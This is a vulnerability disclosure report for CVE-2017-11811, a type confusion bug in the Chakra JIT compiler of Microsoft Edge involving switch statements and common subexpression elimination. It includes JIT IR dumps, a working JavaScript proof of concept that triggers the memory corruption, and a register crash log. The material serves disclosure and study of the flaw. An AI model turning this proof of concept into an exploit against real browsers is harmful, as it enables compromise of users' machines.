Microsoft Edge: Chakra: JIT: Type confusion with switch statements 

CVE-2017-11811


Let's start with a switch statement and its IR code for JIT.

JS:
for (let i = 0; i < 100; i++) {
    switch (i) {
        case 2:
        case 4:
        case 6:
        case 8:
        case 10:
        case 12:
        case 14:
        case 16:
        case 18:
        case 20:
        case 22:
        case 24:
        case 26:
        case 28:
        case 30:
        case 32:
        case 34:
        case 36:
        case 38:
            break;
    }
}

IRs before Type Specialization:
    s26.var         =  Ld_A           s24.var - "i"                           #0011  Bailout: #0011 (BailOutExpectingInteger)
                       BrLt_A         $L2, s26.var, s5.var                    #0070 
$L9:                                                                          #0070  
                       BrGt_A         $L2, s26.var, s23.var                   #0070 
$L8:                                                                          #0070  
    s28.var         =  Sub_A          s26.var, 2 (0x2).i32                    #0070  // Because of the minimum case is 2, subtracting 2 from i. s28 is a temporary variable.
                       MultiBr        ..., s28.var #0070 

IRs after Type Specialization:
    s52(s26).i32    =  Ld_A           s51(s24).i32 - "i"                      #0011 
                       BrLt_I4        $L2, s51(s24).i32, 2 (0x2).i32          #0070 
$L9:                                                                          #0070  
                       BrGt_I4        $L2, s51(s24).i32, 38 (0x26).i32        #0070 
$L8:                                                                          #0070  
    s53(s28).i32    =  Sub_I4         s51(s24).i32, 2 (0x2).i32               #0070 
                       MultiBr        ..., s53(s28).i32! #0070 



MultiBr instructions' offset operand(s28 in the above) must be of type Int32. If not, type confusion will occur. The way to ensure it is to use BailOutExpectingInteger.

In the above code, "s26" is ensured to be of type Int32 by the bailout. So, the other variables affected by "s26" including the offset variable "s28" are also ensured to be of type Int32. But in the Common Subexpression Elimination phase, it doesn't consider the bailouts. So we can abuse this.

Common Subexpression Elimination: <a href="https://en.wikipedia.org/wiki/Common_subexpression_elimination" title="" class="" rel="nofollow">https://en.wikipedia.org/wiki/Common_subexpression_elimination</a>

What I noticed is "s28.var = Sub_A s26.var, 2 (0x2).i32". If we declare a variable "j" with "i - 2", the offset variable "s28" will be replaced with "j".

JS:
for (let i = 0; i < 100; i++) {
    let j = i - 2;
    switch (i) {
        case 2:
        case 4:
        case 6:
        case 8:
        case 10:
        case 12:
        case 14:
        case 16:
        case 18:
        case 20:
        case 22:
        case 24:
        case 26:
        case 28:
        case 30:
        case 32:
        case 34:
        case 36:
        case 38:
            break;
    }
}

IR:
  Line   3: let j = i - 2;
  Col    9: ^
                       StatementBoundary  #2                                  #0013 
    s55(s28).i32    =  Sub_I4         s54(s24).i32, 2 (0x2).i32               #0013 


  Line   4: switch (i) {
  Col    9: ^
                       StatementBoundary  #3                                  #001a  // BailOutExpectingInteger
                       BrLt_I4        $L2, s54(s24).i32, 2 (0x2).i32          #0079 
                       BrGt_I4        $L2, s54(s24).i32, 38 (0x26).i32        #0079 
                       MultiBr        ..., s55(s28).i32! #0079 


The offset variable is replaced with "j" that is not ensured to be of type Int32. The next step is just to create a case that "j" can't be of type Int32.

JS:
for (let i = 0; i < 100; i++) {
    let j = i - 2;
    switch (i) {
        case 2:
        case 4:
        case 6:
        case 8:
        case 10:
        case 12:
        case 14:
        case 16:
        case 18:
        case 20:
        case 22:
        case 24:
        case 26:
        case 28:
        case 30:
        case 32:
        case 34:
        case 36:
        case 38:
            break;
    }

    if (i == 39)
        i = 'aaaa';
}
(Actually "j" is always Int32 in the above code. But Chakra can't distinguish.)

IR:
  Line   3: let j = i - 2;
  Col    9: ^
                       StatementBoundary  #2                                  #0013 
    s30[LikelyCanBeTaggedValue_Int].var = Sub_A  s26[LikelyCanBeTaggedValue_Int_Number].var, 0x1000000000002.var #0013 
    s27[LikelyCanBeTaggedValue_Int].var = Ld_A  s30[isTempLastUse][LikelyCanBeTaggedValue_Int].var! #0017 


  Line   4: switch (i) {
  Col    9: ^
                       StatementBoundary  #3                                  #001a 
    s63(s26).i32    =  FromVar        s26[LikelyCanBeTaggedValue_Int_Number].var #001a  Bailout: #001a (BailOutExpectingInteger)
                       BrLt_I4        $L4, s63(s26).i32, 2 (0x2).i32          #0079 
                       BrGt_I4        $L4, s63(s26).i32, 38 (0x26).i32        #0079 
                       MultiBr        ..., s27[LikelyCanBeTaggedValue_Int].var #0079 


It ended up to use "j" of type Var as the offset variable.

PoC:
function opt() {
    for (let i = 0; i < 100; i++) {
        let j = i - 2;
        switch (i) {
            case 2:
            case 4:
            case 6:
            case 8:
            case 10:
            case 12:
            case 14:
            case 16:
            case 18:
            case 20:
            case 22:
            case 24:
            case 26:
            case 28:
            case 30:
            case 32:
            case 34:
            case 36:
            case 38:
                break;
        }

        if (i == 90) {
            i = 'x';
        }
    }
}

function main() {
    for (let i = 0; i < 100; i++) {
        opt();
    }
}

main();

Crash Log:
RAX: 0x1 
RBX: 0x7ffff7e04824 --> 0x100000000 
RCX: 0x3 
RDX: 0x7ffff0b20667 (loope  0x7ffff0b2066d)
RSI: 0x80000001 
RDI: 0x7ffff0c182a0 --> 0x7ffff6478a10 --> 0x7ffff5986230 (<Js::DynamicObject::Finalize(bool)>: push   rbp)
RBP: 0x7fffffff2130 --> 0x7fffffff21b0 --> 0x7fffffff2400 --> 0x7fffffff2480 --> 0x7fffffff24d0 --> 0x7fffffff52f0 (--> ...)
RSP: 0x7fffffff20c0 --> 0x1111015500000002 
RIP: 0x7ffff0b204da (mov    rdx,QWORD PTR [rdx+<a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>*8])
<a href="https://crrev.com/8" title="" class="" rel="nofollow">R8</a> : 0x0 
<a href="https://crrev.com/9" title="" class="" rel="nofollow">R9</a> : 0x0 
<a href="https://crrev.com/10" title="" class="" rel="nofollow">R10</a>: 0x7ffff0b20400 (movabs rax,0x555555879018)
<a href="https://crrev.com/11" title="" class="" rel="nofollow">R11</a>: 0x206 
<a href="https://crrev.com/12" title="" class="" rel="nofollow">R12</a>: 0x7fffffff5580 --> 0x7ffff0ba0000 --> 0xeb021a471b4f1a4f 
<a href="https://crrev.com/13" title="" class="" rel="nofollow">R13</a>: 0x1000000000001 << Var 1
<a href="https://crrev.com/14" title="" class="" rel="nofollow">R14</a>: 0x1000000000003 
<a href="https://crrev.com/15" title="" class="" rel="nofollow">R15</a>: 0x7ffff0c79040 --> 0x7ffff643c050 --> 0x7ffff5521130 (<Js::RecyclableObject::Finalize(bool)>:  push   rbp)
EFLAGS: 0x10297 (CARRY PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff0b204cb:  cmp    ecx,0x26
   0x7ffff0b204ce:  jg     0x7ffff0b204e1
   0x7ffff0b204d0:  movabs rdx,0x7ffff0b20667
=> 0x7ffff0b204da:  mov    rdx,QWORD PTR [rdx+<a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>*8]
   0x7ffff0b204de:  rex.W jmp rdx


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt